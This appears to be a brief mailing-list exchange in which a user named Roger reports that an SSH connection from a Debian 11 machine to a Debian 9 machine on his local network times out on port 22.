did you try to ssh to the ip address?
I vaguely remember something to do with the keys where I could ssh by number 
but not name.


I ssh from Debian 11 to Debian 9 :

 rprice@titan ~ ssh rprice@192.168.1.13
 ssh: connect to host 192.168.1.13 port 22: Connection timed out

Roger